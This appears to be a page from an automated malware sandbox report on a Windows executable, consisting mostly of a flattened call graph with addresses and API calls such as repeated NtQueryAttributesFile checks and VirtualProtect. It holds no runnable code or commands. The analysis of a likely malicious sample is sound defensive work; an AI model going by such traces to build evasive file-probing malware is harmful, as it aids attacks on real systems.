2108->2109 2111 140005a50 malloc 2110->2111 2112 1400013b8 2111->2112 2113 1400013c6 NtQueryAttributesFile 2112->2113 2113->2039 2114 140002104 2115 140002111 EnterCriticalSection 2114->2115 2116 140002218 2114->2116 2117 14000220b LeaveCriticalSection 2115->2117 2121 14000212e 2115->2121 2118 140002272 2116->2118 2120 140002241 DeleteCriticalSection 2116->2120 2117->2116 2119 14000214d TlsGetValue GetLastError 2119->2121 2120->2118 2121->2117 2121->2119 2010 140001e65 2011 140001e67 signal 2010->2011 2012 140001e7c 2011->2012 2014 140001e99 2011->2014 2013 140001e82 signal 2012->2013 2012->2014 2013->2014 2846 140001f47 2847 140001e67 signal 2846->2847 2850 140001e99 2846->2850 2848 140001e7c 2847->2848 2847->2850 2849 140001e82 signal 2848->2849 2848->2850 2849->2850 2015 14000216f 2016 140002185 2015->2016 2017 140002178 InitializeCriticalSection 2015->2017 2017->2016 2018 140001a70 2019 14000199e 2018->2019 2023 140001a7d 2018->2023 2020 140001a0f 2019->2020 2021 1400019e9 VirtualProtect 2019->2021 2021->2019 2022 140001b53 2023->2018 2023->2022 2024 140001b36 2023->2024 2025 140001ba0 4 API calls 2024->2025 2025->2022 2122 140001e10 2123 140001e2f 2122->2123 2124 140001e55 2123->2124 2125 140001ecc 2123->2125 2129 140001eb5 2123->2129 2124->2129 2130 140001f12 signal 2124->2130 2126 140001ed3 signal 2125->2126 2125->2129 2127 140001ee4 2126->2127 2126->2129 2128 140001eea signal 2127->2128 2127->2129 2128->2129 2130->2129 2851 140002050 2852 14000205e EnterCriticalSection 2851->2852 2853 1400020cf 2851->2853 2854 1400020c2 LeaveCriticalSection 2852->2854 2855 140002079 2852->2855 2854->2853 2855->2854 2856 140001fd0 2857 140001fe4 2856->2857 2858 140002033 2856->2858 2857->2858 2859 140001ffd EnterCriticalSection LeaveCriticalSection 2857->2859 2859->2858 2139 140001ab3 2140 140001a70 2139->2140 2140->2139 2141 14000199e 2140->2141 2142 140001b36 2140->2142 2145 140001b53 2140->2145 2144 140001a0f 2141->2144 2146 1400019e9 VirtualProtect 2141->2146 2143 140001ba0 4 API calls 2142->2143 2143->2145 2146->2141 1982 140001394 1986 140005a50 1982->1986 1984 1400013b8 1985 1400013c6 NtQueryAttributesFile 1984->1985 1987 140005a6e 1986->1987 1990 140005a9b 1986->1990 1987->1984 1988 140005b43 1989 140005b5f malloc 1988->1989 1991 140005b80 1989->1991 1990->1987 1990->1988 1991->1987 2131 14000219e 2132 140002272 2131->2132 2133 1400021ab EnterCriticalSection 2131->2133 2134 140002265 LeaveCriticalSection 2133->2134 2136 1400021c8 2133->2136 2134->2132 2135 1400021e9 TlsGetValue GetLastError 2135->2136 2136->2134 2136->2135 2026 140001800 2027 140001812 2026->2027 2028 140001835 fprintf 2027->2028 2029 140001000 2030 14000108b __set_app_type 2029->2030 2031 140001040 2029->2031 2032 1400010b6 2030->2032 2031->2030 2033 1400010e5 2032->2033 2035 140001e00 2032->2035 2036 140005fe0 __setusermatherr 2035->2036 2137 140002320 strlen 2138 140002337 2137->2138 2147 140001140 2150 140001160 2147->2150 2149 140001156 2151 1400011b9 2150->2151 2152 14000118b 2150->2152 2153 1400011d3 2151->2153 2154 1400011c7 _amsg_exit 2151->2154 2152->2151 2155 1400011a0 Sleep 2152->2155 2156 140001201 _initterm 2153->2156 2157 14000121a 2153->2157 2154->2153 2155->2151 2155->2152 2156->2157 2173 140001880 2157->2173 2160 14000126a 2161 14000126f malloc 2160->2161 2162 14000128b 2161->2162 2164 1400012d0 2161->2164 2163 1400012a0 strlen malloc memcpy 2162->2163 2163->2163 2163->2164 2184 140003150 2164->2184 2166 140001315 2167 140001344 2166->2167 2168 140001324 2166->2168 2171 140001160 50 API calls 2167->2171 2169 140001338 2168->2169 2170 14000132d _cexit 2168->2170 2169->2149 2170->2169 2172 140001366 2171->2172 2172->2149 2174 1400018a2 2173->2174 2175 140001247 SetUnhandledExceptionFilter 2173->2175 2174->2175 2176 14000194d 2174->2176 2180 140001a20 2174->2180 2175->2160 2177 14000199e 2176->2177 2178 140001ba0 4 API calls 2176->2178 2177->2175 2179 1400019e9 VirtualProtect 2177->2179 2178->2176 2179->2177 2180->2177 2181 140001b53 2180->2181 2182 140001b36 2180->2182 2183 140001ba0 4 API calls 2182->2183 2183->2181 2187 140003166 2184->2187 2185 140003278 wcslen 2258 14000153f 2185->2258 2187->2185 2189 14000346e 2189->2166 2195 140003373 2196 14000341b wcslen 2195->2196 2197 140003431 2196->2197 2199 14000346c 2196->2199 2197->2199 2200 140003456 wcslen 2197->2200 2198 140003531 wcscpy wcscat 2202 140003563 2198->2202 2199->2198 2200->2197 2200->2199 2201 1400035b3 wcscpy wcscat 2204 1400035e9 2201->2204 2202->2201 2203 1400036fe wcscpy wcscat 2205 140003737 2203->2205 2204->2203 2206 140003a92 wcslen 2205->2206 2207 140003aa0 2206->2207 2208 140003adb 2206->2208 2207->2208 2210 140003ac6 wcslen 2207->2210 2209 140003bea wcscpy wcscat 2208->2209 2212 140003c1f 2209->2212 2210->2207 2210->2208 2211 140003c6f wcscpy wcscat 2214 140003ca8 2211->2214 2212->2211 2213 140003ce5 wcscpy wcscat 2216 140003d2c 2213->2216 2214->2213 2215 140003d7e wcscpy wcscat wcslen 2398 14000146d 2215->2398 2216->2215 2221 140003e95 2484 1400014a9 2221->2484 2222 140003fd8 2224 14000145e 2 API calls 2222->2224 2231 140003f2c 2224->2231 2226 140003fc7 2228 14000145e 2 API calls 2226->2228 2227 1400056d7 2228->2231 2230 14000406a wcscpy wcscat wcslen 2238 140004140 2230->2238 2231->2227 2231->2230 2234 140003f20 2235 14000145e 2 API calls 2234->2235 2235->2231 2236 140004235 wcslen 2237 14000153f 2 API calls 2236->2237 2237->2238 2238->2236 2239 1400052fa memcpy 2238->2239 2240 14000442b wcslen 2238->2240 2241 14000469d wcslen 2238->2241 2244 140004f91 wcscpy wcscat wcslen 2238->2244 2247 140004523 wcslen 2238->2247 2250 14000145e NtQueryAttributesFile malloc 2238->2250 2251 1400050d3 2238->2251 2252 14000545c memcpy 2238->2252 2253 1400026e0 9 API calls 2238->2253 2254 14000517e wcslen 2238->2254 2256 140004de5 wcscpy wcscat wcslen 2238->2256 2600 1400014d6 2238->2600 2673 140001521 2238->2673 2771 140001431 2238->2771 2239->2238 2645 14000157b 2240->2645 2242 14000153f 2 API calls 2241->2242 2242->2238 2245 140001422 2 API calls 2244->2245 2245->2238 2662 1400015a8 2247->2662 2250->2238 2251->2166 2252->2238 2253->2238 2255 1400015a8 2 API calls 2254->2255 2255->2238 2702 140001422 2256->2702 2259 140001394 2 API calls 2258->2259 2260 14000154e 2259->2260 2261 140001394 2 API calls 2260->2261 2262 14000155d 2261->2262 2263 140001394 2 API calls 2262->2263 2264 14000156c 2263->2264 2265 140001394 2 API calls 2264->2265 2266 14000157b 2265->2266 2267 140001394 2 API calls 2266->2267 2268 14000158a 2267->2268 2269 140001394 2 API calls 2268->2269 2270 140001599 2269->2270 2271 140001394 2 API calls 2270->2271 2272 1400015a8 2271->2272 2273 140001394 2 API calls 2272->2273 2274 1400015b7 2273->2274 2275 140001394 2 API calls 2274->2275 2276 1400015c6 2275->2276 2277 140001394 2 API calls 2276->2277 2278 1400015d5 2277->2278 2279 140001394 2 API calls 2278->2279 2280 1400015e4 2279->2280 2281 140001394 2 API calls 2280->2281 2282 1400015f3 2281->2282 2282->2189 2283 140001503 2282->2283 2284 140001394 2 API calls 2283->2284 2285 14000150d 2284->2285 2286 140001394 2 API calls 2285->2286 2287 140001512 2286->2287 2288 140001394 2 API calls 2287->2288 2289 140001521 2288->2289 2290 140001394 2 API calls 2289->2290 2291 140001530 2290->2291 2292 140001394 2 API calls 2291->2292 2293 14000153f 2292->2293 2294 140001394 2 API calls 2293->2294 2295 14000154e 2294->2295 2296 140001394 2 API calls 2295->2296 2297 14000155d 2296->2297 2298 140001394 2 API calls 2297->2298 2299 14000156c 2298->2299 2300 140001394 2 API calls 2299->2300 2301 14000157b 2300->2301 2302 140001394 2 API calls 2301->2302 2303 14000158a 2302->2303 2304 140001394 2 API calls 2303->2304 2305 140001599 2304->2305 2306 140001394 2 API calls 2305->2306 2307 1400015a8 2306->2307 2308 140001394 2 API calls 2307->2308 2309 1400015b7 2308->2309 2310 140001394 2 API calls 2309->2310 2311 1400015c6 2310->2311 2312 140001394 2 API calls 2311->2312 2313 1400015d5 2312->2313 2314 140001394 2 API calls 2313->2314 2315 1400015e4 2314->2315 2316 140001394 2 API calls 2315->2316 2317 1400015f3 2316->2317 2317->2195 2318 14000156c 2317->2318 2319 140001394 2 API calls 2318->2319 2320 14000157b 2319->2320 2321 140001394 2 API calls 2320->2321 2322 14000158a 2321->2322 2323 140001394 2 API calls 2322->2323 2324 140001599 2323->2324 2325 140001394 2 API calls 2324->2325 2326 1400015a8 2325->2326 2327 140001394 2 API calls 2326->2327 2328 1400015b7 2327->2328 2329 140001394 2 API calls 2328->2329 2330 1400015c6 2329->2330 2331 140001394 2 API calls 2330->2331 2332 1400015d5 2331->2332 2333 140001394 2 API calls 2332->2333 2334 1400015e4 2333->2334 2335 140001394 2 API calls 2334->2335 2336 1400015f3 2335->2336 2336->2195 2337 14000145e 2336->2337 2338 140001394 2 API calls 2337->2338 2339 14000146d 2338->2339 2340 140001394 2 API calls 2339->2340 2341 14000147c 2340->2341 2342 140001394 2 API calls 2341->2342 2343 14000148b 2342->2343 2344 140001394 2 API calls 2343->2344 2345 14000149a 2344->2345 2346 140001394 2 API calls 2345->2346 2347 1400014a9 2346->2347 2348 140001394 2 API calls 2347->2348 2349 1400014b8 2348->2349 2350 140001394 2 API calls 2349->2350 2351 1400014c7 2350->2351 2352 140001394 2 API calls 2351->2352 2353 1400014d6 2352->2353 2354 1400014e5 2353->2354 2355 140001394 2 API calls 2353->2355 2356 140001394 2 API calls 2354->2356 2355->2354 2357 1400014ef 2356->2357 2358 1400014f4 2357->2358 2359 140001394 2 API calls 2357->2359 2360 140001394 2 API calls 2358->2360 2359->2358 2361 1400014fe 2360->2361 2362 140001503 2361->2362 2363 140001394 2 API calls 2361->2363 2364 140001394 2 API calls 2362->2364 2363->2362 2365 14000150d 2364->2365 2366 140001394 2 API calls 2365->2366 2367 140001512 2366->2367 2368 140001394 2 API calls 2367->2368 2369 140001521 2368->2369 2370 140001394 2 API calls 2369->2370 2371 140001530 2370->2371 2372 140001394 2 API calls 2371->2372 2373 14000153f 2372->2373 2374 140001394 2 API calls 2373->2374 2375 14000154e 2374->2375 2376 140001394 2 API calls 2375->2376 2377 14000155d 2376->2377 2378 140001394 2 API calls 2377->2378 2379 14000156c 2378->2379 2380 140001394 2 API calls 2379->2380 2381 14000157b 2380->2381 2382 140001394 2 API calls 2381->2382 2383 14000158a 2382->2383 2384 140001394 2 API calls 2383->2384 2385 140001599 2384->2385 2386 140001394 2 API calls 2385->2386 2387 1400015a8 2386->2387 2388 140001394 2 API calls 2387->2388 2389 1400015b7 2388->2389 2390 140001394 2 API calls 2389->2390 2391 1400015c6 2390->2391 2392 140001394 2 API calls 2391->2392 2393 1400015d5 2392->2393 2394 140001394 2 API calls 2393->2394 2395 1400015e4 2394->2395 2396 140001394 2 API calls 2395->2396 2397 1400015f3 2396->2397 2397->2195 2399 140001394 2 API calls 2398->2399 2400 14000147c 2399->2400 2401 140001394 2 API calls 2400->2401 2402 14000148b 2401->2402 2403 140001394 2 API calls 2402->2403 2404 14000149a 2403->2404 2405 140001394 2 API calls 2404->2405 2406 1400014a9 2405->2406 2407 140001394 2 API calls 2406->2407 2408 1400014b8 2407->2408 2409 140001394 2 API calls 2408->2409 2410 1400014c7 2409->2410 2411 140001394 2 API calls 2410->2411 2412 1400014d6 2411->2412 2413 1400014e5 2412->2413 2414 140001394 2 API calls 2412->2414 2415 140001394 2 API calls 2413->2415 2414->2413 2416 1400014ef 2415->2416 2417 1400014f4 2416->2417 2418 140001394 2 API calls 2416->2418 2419 140001394 2 API calls 2417->2419 2418->2417 2420 1400014fe 2419->2420 2421 140001503 2420->2421 2422 140001394 2 API calls 2420->2422 2423 140001394 2 API calls 2421->2423 2422->2421 2424 14000150d 2423->2424 2425 140001394 2 API calls 2424->2425 2426 140001512 2425->2426 2427 140001394 2 API calls 2426->2427 2428 140001521 2427->2428 2429 140001394 2 API calls 2428->2429 2430 140001530 2429->2430 2431 140001394 2 API calls 2430->2431 2432 14000153f 2431->2432 2433 140001394 2 API calls 2432->2433 2434 14000154e 2433->2434 2435 140001394 2 API calls 2434->2435 2436 14000155d 2435->2436 2437 140001394 2 API calls 2436->2437 2438 14000156c 2437->2438 2439 140001394 2 API calls 2438->2439 2440 14000157b 2439->2440 2441 140001394 2 API calls 2440->2441 2442 14000158a 2441->2442 2443 140001394 2 API calls 2442->2443 2444 140001599 2443->2444 2445 140001394 2 API calls 2444->2445 2446 1400015a8 2445->2446 2447 140001394 2 API calls 2446->2447 2448 1400015b7 2447->2448 2449 140001394 2 API calls 2448->2449 2450 1400015c6 2449->2450 2451 140001394 2 API calls 2450->2451 2452 1400015d5 2451->2452 2453 140001394 2 API calls 2452->2453 2454 1400015e4 2453->2454 2455 140001394 2 API calls 2454->2455 2456 1400015f3 2455->2456 2456->2231 2457 140001530 2456->2457 2458 140001394 2 API calls 2457->2458 2459 14000153f 2458->2459 2460 140001394 2 API calls 2459->2460 2461 14000154e 2460->2461 2462 140001394 2 API calls 2461->2462 2463 14000155d 2462->2463 2464 140001394 2 API calls 2463->2464 2465 14000156c 2464->2465 2466 140001394 2 API calls 2465->2466 2467 14000157b 2466->2467 2468 140001394 2 API calls 2467->2468 2469 14000158a 2468->2469 2470 140001394 2 API calls 2469->2470 2471 140001599 2470->2471 2472 140001394 2 API calls 2471->2472 2473 1400015a8 2472->2473 2474 140001394 2 API calls 2473->2474 2475 1400015b7 2474->2475 2476 140001394 2 API calls 2475->2476 2477 1400015c6 2476->2477 2478 140001394 2 API calls 2477->2478 2479 1400015d5 2478->2479 2480 140001394 2 API calls 2479->2480 2481 1400015e4 2480->2481 2482 140001394 2 API calls 2481->2482 2483 1400015f3 2482->2483 2483->2221 2483->2222 2485 140001394 2 API calls 2484->2485 2486 1400014b8 2485->2486 2487 140001394 2 API calls 2486->2487 2488 1400014c7 2487->2488 2489 140001394 2 API calls 2488->2489 2490 1400014d6 2489->2490 2491 1400014e5 2490->2491 2492 140001394 2 API calls 2490->2492 2493 140001394 2 API calls 2491->2493 2492->2491 2494 1400014ef 2493->2494 2495 1400014f4 2494->2495 2496 140001394 2 API calls 2494->2496 2497 140001394 2 API calls 2495->2497 2496->2495 2498 1400014fe 2497->2498 2499 140001503 2498->2499 2500 140001394 2 API calls 2498->2500 2501 140001394 2 API calls 2499->2501 2500->2499 2502 14000150d 2501->2502 2503 140001394 2 API calls 2502->2503 2504 140001512 2503->2504 2505 140001394 2 API calls 2504->2505 2506 140001521 2505->2506 2507 140001394 2 API calls 2506->2507 2508 140001530 2507->2508 2509 140001394 2 API calls 2508->2509 2510 14000153f 2509->2510 2511 140001394 2 API calls 2510->2511 2512 14000154e 2511->2512 2513 140001394 2 API calls 2512->2513 2514 14000155d 2513->2514 2515 140001394 2 API calls 2514->2515 2516 14000156c 2515->2516 2517 140001394 2 API calls 2516->2517 2518 14000157b 2517->2518 2519 140001394 2 API calls 2518->2519 2520 14000158a 2519->2520 2521 140001394 2 API calls 2520->2521 2522 140001599 2521->2522 2523 140001394 2 API calls 2522->2523 2524 1400015a8 2523->2524 2525 140001394 2 API calls 2524->2525 2526 1400015b7 2525->2526 2527 140001394 2 API calls 2526->2527 2528 1400015c6 2527->2528 2529 140001394 2 API calls 2528->2529 2530 1400015d5 2529->2530 2531 140001394 2 API calls 2530->2531 2532 1400015e4 2531->2532 2533 140001394 2 API calls 2532->2533 2534 1400015f3 2533->2534 2534->2226 2535 140001440 2534->2535 2536 140001394 2 API calls 2535->2536 2537 14000144f 2536->2537 2538 140001394 2 API calls 2537->2538 2539 14000145e 2538->2539 2540 140001394 2 API calls 2539->2540 2541 14000146d 2540->2541 2542 140001394 2 API calls 2541->2542 2543 14000147c 2542->2543 2544 140001394 2 API calls 2543->2544 2545 14000148b 2544->2545 2546 140001394 2 API calls 2545->2546 2547 14000149a 2546->2547 2548 140001394 2 API calls 2547->2548 2549 1400014a9 2548->2549 2550 140001394 2 API calls 2549->2550 2551 1400014b8 2550->2551 2552 140001394 2 API calls 2551->2552 2553 1400014c7 2552->2553 2554 140001394 2 API calls 2553->2554 2555 1400014d6 2554->2555 2556 1400014e5 2555->2556 2557 140001394 2 API calls 2555->2557 2558 140001394 2 API calls 2556->2558 2557->2556 2559 1400014ef 2558->2559 2560 1400014f4 2559->2560 2561 140001394 2 API calls 2559->2561 2562 140001394 2 API calls 2560->2562 2561->2560 2563 1400014fe 2562->2563 2564 140001503 2563->2564 2565 140001394 2 API calls 2563->2565 2566 140001394 2 API calls 2564->2566 2565->2564 2567 14000150d 2566->2567 2568 140001394 2 API calls 2567->2568 2569 140001512 2568->2569 2570 140001394 2 API calls 2569->2570 2571 140001521 2570->2571 2572 140001394 2 API calls 2571->2572 2573 140001530 2572->2573 2574 140001394 2 API calls 2573->2574 2575 14000153f 2574->2575 2576 140001394 2 API calls 2575->2576 2577 14000154e 2576->2577 2578 140001394 2 API calls 2577->2578 2579 14000155d 2578->2579 2580 140001394 2 API calls 2579->2580 2581 14000156c 2580->2581 2582 140001394 2 API calls 2581->2582 2583 14000157b 2582->2583 2584 140001394 2 API calls 2583->2584 2585 14000158a 2584->2585 2586 140001394 2 API calls 2585->2586 2587 140001599 2586->2587 2588 140001394 2 API calls 2587->2588 2589 1400015a8 2588->2589 2590 140001394 2 API calls 2589->2590 2591 1400015b7 2590->2591 2592 140001394 2 API calls 2591->2592 2593 1400015c6 2592->2593 2594 140001394 2 API calls 2593->2594 2595 1400015d5 2594->2595 2596 140001394 2 API calls 2595->2596 2597 1400015e4 2596->2597 2598 140001394 2 API calls 2597->2598 2599 1400015f3 2598->2599 2599->2226 2599->2234 2601 1400014e5 2600->2601 2602 140001394 2 API calls 2600->2602 2603 140001394 2 API calls 2601->2603 2602->2601 2604 1400014ef 2603->2604 2605 1400014f4 2604->2605 2606 140001394 2 API calls 2604->2606 2607 140001394 2 API calls 2605->2607 2606->2605 2608 1400014fe 2607->2608 2609 140001503 2608->2609 2610 140001394 2 API calls 2608->2610 2611 140001394 2 API calls 2609->2611 2610->2609 2612 14000150d 2611->2612 2613 140001394 2 API calls 2612->2613 2614 140001512 2613->2614 2615 140001394 2 API calls 2614->2615 2616 140001521 2615->2616 2617 140001394 2 API calls 2616->2617 2618 140001530 2617->2618 2619 140001394 2 API calls 2618->2619 2620 14000153f 2619->2620 2621 140001394 2 API calls 2620->2621 2622 14000154e 2621->2622 2623 140001394 2 API calls 2622->2623 2624 14000155d 2623->2624 2625 140001394 2 API calls 2624->2625 2626 14000156c 2625->2626 2627 140001394 2 API calls 2626->2627 2628 14000157b 2627->2628 2629 140001394 2 API calls 2628->2629 2630 14000158a 2629->2630 2631 140001394 2 API calls 2630->2631 2632 140001599 2631->2632 2633 140001394 2 API calls 2632->2633 2634 1400015a8 2633->2634 2635 140001394 2 API calls 2634->2635 2636 1400015b7 2635->2636 2637 140001394 2 API calls 2636->2637 2638 1400015c6 2637->2638 2639 140001394 2 API calls 2638->2639 2640 1400015d5 2639->2640 2641 140001394 2 API calls 2640->2641 2642 1400015e4 2641->2642 2643 140001394 2 API calls 2642->2643 2644 1400015f3 2643->2644 2644->2238 2646 140001394 2 API calls 2645->2646 2647 14000158a 2646->2647 2648 140001394 2 API calls 2647->2648 2649 140001599 2648->2649 2650 140001394 2 API calls 2649->2650 2651 1400015a8 2650->2651 2652 140001394 2 API calls 2651->2652 2653 1400015b7 2652->2653 2654 140001394 2 API calls 2653->2654 2655 1400015c6 2654->2655 2656 140001394 2 API calls 2655->2656 2657 1400015d5 2656->2657 2658 140001394 2 API calls 2657->2658 2659 1400015e4 2658->2659 2660 140001394 2 API calls 2659->2660 2661 1400015f3 2660->2661 2661->2238 2663 140001394 2 API calls 2662->2663 2664 1400015b7 2663->2664 2665 140001394 2 API calls 2664->2665 2666 1400015c6 2665->2666 2667 140001394 2 API calls 2666->2667 2668 1400015d5 2667->2668 2669 140001394 2 API calls 2668->2669 2670 1400015e4 2669->2670 2671 140001394 2 API calls 2670->2671 2672 1400015f3 2671->2672 2672->2238 2674 140001394 2 API calls 2673->2674 2675 140001530 2674->2675 2676 140001394 2 API calls 2675->2676 2677 14000153f 2676->2677 2678 140001394 2 API calls 2677->2678 2679 14000154e 2678->2679 2680 140001394 2 API calls 2679->2680 2681 14000155d 2680->2681 2682 140001394 2 API calls 2681->2682 2683 14000156c 2682->2683 2684 140001394 2 API calls 2683->2684 2685 14000157b 2684->2685 2686 140001394 2 API calls 2685->2686 2687 14000158a 2686->2687 2688 140001394 2 API calls 2687->2688 2689 140001599 2688->2689 2690 140001394 2 API calls 2689->2690 2691 1400015a8 2690->2691 2692 140001394 2 API calls 2691->2692 2693 1400015b7 2692->2693 2694 140001394 2 API calls 2693->2694 2695 1400015c6 2694->2695 2696 140001394 2 API calls 2695->2696 2697 1400015d5 2696->2697 2698 140001394 2 API calls 2697->2698 2699 1400015e4 2698->2699 2700 140001394 2 API calls 2699->2700 2701 1400015f3 2700->2701 2701->2238 2703 140001394 2 API calls 2702->2703 2704 140001431 2703->2704 2705 140001394 2 API calls 2704->2705 2706 140001440 2705->2706 2707 140001394 2 API calls 2706->2707 2708 14000144f 2707->2708 2709 140001394 2 API calls 2708->2709 2710 14000145e 2709->2710 2711 140001394 2 API calls 2710->2711 2712 14000146d 2711->2712 2713 140001394 2 API calls 2712->2713 2714 14000147c 2713->2714 2715 140001394 2 API calls 2714->2715 2716 14000148b 2715->2716 2717 140001394 2 API calls 2716->2717 2718 14000149a 2717->2718 2719 140001394 2 API calls 2718->2719 2720 1400014a9 2719->2720 2721 140001394 2 API calls 2720->2721 2722 1400014b8 2721->2722 2723 140001394 2 API calls 2722->2723 2724 1400014c7 2723->2724 2725 140001394 2 API calls 2724->2725 2726 1400014d6 2725->2726 2727 1400014e5 2726->2727 2728 140001394 2 API calls 2726->2728 2729 140001394 2 API calls 2727->2729 2728->2727 2730 1400014ef 2729->2730 2731 1400014f4 2730->2731 2732 140001394 2 API calls 2730->2732 2733 140001394 2 API calls 2731->2733 2732->2731 2734 1400014fe 2733->2734 2735 140001503 2734->2735 2736 140001394 2 API calls 2734->2736 2737 140001394 2 API calls 2735->2737 2736->2735 2738 14000150d 2737->2738 2739 140001394 2 API calls 2738->2739 2740 140001512 2739->2740 2741 140001394 2 API calls 2740->2741 2742 140001521 2741->2742 2743 140001394 2 API calls 2742->2743 2744 140001530 2743->2744 2745 140001394 2 API calls 2744->2745 2746 14000153f 2745->2746 2747 140001394 2 API calls 2746->2747 2748 14000154e 2747->2748 2749 140001394 2 API calls 2748->2749 2750 14000155d 2749->2750 2751 140001394 2 API calls 2750->2751 2752 14000156c 2751->2752 2753 140001394 2 API calls 2752->2753 2754 14000157b 2753->2754 2755 140001394 2 API calls 2754->2755 2756 14000158a 2755->2756 2757 140001394 2 API calls 2756->2757 2758 140001599 2757->2758 2759 140001394 2 API calls 2758->2759 2760 1400015a8 2759->2760 2761 140001394 2 API calls 2760->2761 2762 1400015b7 2761->2762 2763 140001394 2 API calls 2762->2763 2764 1400015c6 2763->2764 2765 140001394 2 API calls 2764->2765 2766 1400015d5 2765->2766 2767 140001394 2 API calls 2766->2767 2768 1400015e4 2767->2768 2769 140001394 2 API calls 2768->2769 2770 1400015f3 2769->2770 2770->2238 2772 140001394 2 API calls 2771->2772 2773 140001440 2772->2773 2774 140001394 2 API calls 2773->2774 2775 14000144f 2774->2775 2776 140001394 2 API calls 2775->2776 2777 14000145e 2776->2777 2778 140001394 2 API calls 2777->2778 2779 14000146d 2778->2779 2780 140001394 2 API calls 2779->2780 2781 14000147c 2780->2781 2782 140001394 2 API calls 2781->2782 2783 14000148b 2782->2783 2784 140001394 2 API calls 2783->2784 2785 14000149a 2784->2785 2786 140001394 2 API calls 2785->2786 2787 1400014a9 2786->2787 2788 140001394 2 API calls 2787->2788 2789 1400014b8 2788->2789 2790 140001394 2 API calls 2789->2790 2791 1400014c7 2790->2791 2792 140001394 2 API calls 2791->2792 2793 1400014d6 2792->2793 2794 1400014e5 2793->2794 2795 140001394 2 API calls 2793->2795 2796 140001394 2 API calls 2794->2796 2795->2794 2797 1400014ef 2796->2797 2798 1400014f4 2797->2798 2799 140001394 2 API calls 2797->2799 2800 140001394 2 API calls 2798->2800 2799->2798 2801 1400014fe 2800->2801 2802 140001503 2801->2802 2803 140001394 2 API calls 2801->2803 2804 140001394 2 API calls 2802->2804 2803->2802 2805 14000150d 2804->2805 2806 140001394 2 API calls 2805->2806 2807 140001512 2806->2807 2808 140001394 2 API calls 2807->2808 2809 140001521 2808->2809 2810 140001394 2 API calls 2809->2810 2811 140001530 2810->2811 2812 140001394 2 API calls 2811->2812 2813 14000153f 2812->2813 2814 140001394 2 API calls 2813->2814 2815 14000154e 2814->2815 2816 140001394 2 API calls 2815->2816 2817 14000155d 2816->2817 2818 140001394 2 API calls 2817->2818 2819 14000156c 2818->2819 2820 140001394 2 API calls 2819->2820 2821 14000157b 2820->2821 2822 140001394 2 API calls 2821->2822 2823 14000158a 2822->2823 2824 140001394 2 API calls 2823->2824 2825 140001599 2824->2825 2826 140001394 2 API calls 2825->2826 2827 1400015a8 2826->2827 2828 140001394 2 API calls 2827->2828 2829 1400015b7 2828->2829 2830 140001394 2 API calls 2829->2830 2831 1400015c6 2830->2831 2832 140001394 2 API calls 2831->2832 2833 1400015d5 2832->2833 2834 140001394 2 API calls 2833->2834 2835 1400015e4 2834->2835 2836 140001394 2 API calls 2835->2836 2837 1400015f3 2836->2837 2837->2238

                                                              Callgraph

                                                              • Executed
                                                              • Not Executed
                                                              • Opacity -> Relevance
                                                              • Disassembly available
                                                              callgraph 0 Function_0000000140001AE4 31 Function_0000000140001D40 0->31 75 Function_0000000140001BA0 0->75 1 Function_00000001400014E5 71 Function_0000000140001394 1->71 2 Function_00000001400010F0 3 Function_00000001400030F1 4 Function_00000001400057F1 5 Function_00000001400058F1 6 Function_00000001400014F4 6->71 7 Function_0000000140001800 67 Function_0000000140002290 7->67 8 Function_0000000140001E00 9 Function_0000000140005D00 34 Function_0000000140005A40 9->34 10 Function_0000000140002F00 58 Function_0000000140001370 10->58 11 Function_0000000140001000 11->8 40 Function_0000000140001750 11->40 80 Function_0000000140001FB0 11->80 87 Function_0000000140001FC0 11->87 12 Function_0000000140002500 13 Function_0000000140001503 13->71 14 Function_0000000140001404 14->71 15 Function_0000000140002104 16 Function_0000000140001E10 17 Function_0000000140003110 18 Function_0000000140005711 19 Function_0000000140005811 20 Function_0000000140001512 20->71 21 Function_0000000140002420 22 Function_0000000140002320 23 Function_0000000140005A20 24 Function_0000000140001521 24->71 25 Function_0000000140001422 25->71 26 Function_0000000140001530 26->71 27 Function_0000000140003130 28 Function_0000000140001431 28->71 29 Function_0000000140005831 30 Function_000000014000153F 30->71 31->67 32 Function_0000000140001440 32->71 33 Function_0000000140001140 48 Function_0000000140001160 33->48 35 Function_0000000140005741 36 Function_0000000140001F47 59 Function_0000000140001870 36->59 37 Function_0000000140002050 38 Function_0000000140005A50 38->34 39 Function_0000000140003150 39->10 39->13 39->24 39->25 39->26 39->28 39->30 39->32 39->34 45 Function_000000014000145E 39->45 47 Function_0000000140002660 39->47 54 Function_000000014000156C 39->54 55 Function_000000014000146D 39->55 39->58 61 Function_000000014000157B 39->61 77 Function_00000001400015A8 39->77 78 Function_00000001400014A9 39->78 86 Function_00000001400016C0 39->86 97 Function_00000001400014D6 39->97 98 Function_00000001400026E0 39->98 41 Function_0000000140001650 42 Function_0000000140005851 43 Function_0000000140003051 44 Function_000000014000155D 44->71 45->71 46 Function_0000000140002460 48->39 48->48 48->59 62 Function_0000000140001880 48->62 66 Function_0000000140001F90 48->66 48->86 49 Function_0000000140001760 99 Function_00000001400020E0 49->99 50 Function_0000000140005860 51 Function_0000000140005761 52 Function_0000000140005961 53 Function_0000000140001E65 53->59 54->71 55->71 56 Function_000000014000216F 57 Function_0000000140001A70 57->31 57->75 60 Function_0000000140003070 61->71 62->21 62->31 62->47 62->75 63 Function_0000000140005781 64 Function_0000000140005881 65 Function_0000000140005981 68 Function_0000000140002590 69 Function_0000000140003090 70 Function_0000000140002691 71->9 71->38 72 Function_0000000140002194 72->59 73 Function_000000014000219E 74 Function_0000000140001FA0 75->31 79 Function_00000001400023B0 75->79 92 Function_00000001400024D0 75->92 76 Function_00000001400057A1 77->71 78->71 81 Function_00000001400022B0 82 Function_00000001400026B0 83 Function_00000001400030B1 84 Function_00000001400058B1 85 Function_0000000140001AB3 85->31 85->75 88 Function_00000001400059C1 89 Function_0000000140001AC3 89->31 89->75 90 Function_00000001400014C7 90->71 91 Function_0000000140001FD0 93 Function_00000001400017D0 94 Function_00000001400026D0 95 Function_00000001400057D1 96 Function_0000000140001AD4 96->31 96->75 97->71 98->1 98->6 98->13 98->20 98->34 98->44 98->45 98->47 98->58 98->78 98->90 100 Function_00000001400017E0 100->99 101 Function_00000001400022E0

                                                              Executed Functions

                                                              Function 0000000140001394 Relevance: 1.5, APIs: 1, Instructions: 24filenativeCOMMON
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              APIs
                                                              • NtQueryAttributesFile.NTDLL(?,?,?,?,?,?,?,?,?,?,?,?,?,0000000140001156), ref: 00000001400013F7
                                                              Memory Dump Source
